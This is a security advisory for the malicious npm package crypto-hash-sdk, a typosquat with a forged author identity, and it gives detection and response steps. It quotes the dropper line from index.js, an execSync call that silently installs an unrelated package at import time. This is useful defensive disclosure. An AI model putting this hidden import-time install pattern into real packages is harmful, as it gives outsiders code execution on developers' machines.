crypto-hash-sdknpm
Advisory published Updated
crypto-hash-sdk is a confirmed malicious npm package (MAL-2026-4541) that typosquats a legitimate package to trick installs (malicious version 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in crypto-hash-sdk (npm)
What this malware does
Package name and metadata impersonate Sindre Sorhus's legitimate crypto-hash package (forged author Sindre Sorhus <[email protected]> and repository sindresorhus/crypto-hash in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls execSync("npm uninstall prettier-sdk && npm install prettier-sdk", { stdio: "ignore", windowsHide: true }) — on any require()/import of this module, the installer's machine silently runs npm install for the unrelated prettier-sdk package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for crypto-hash-sdk (version 1.0.1).
If you installed it — respond
crypto-hash-sdk is a typosquat — you almost certainly intended a legitimately-named package. Remove crypto-hash-sdk, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If crypto-hash-sdk was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks crypto-hash-sdk-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.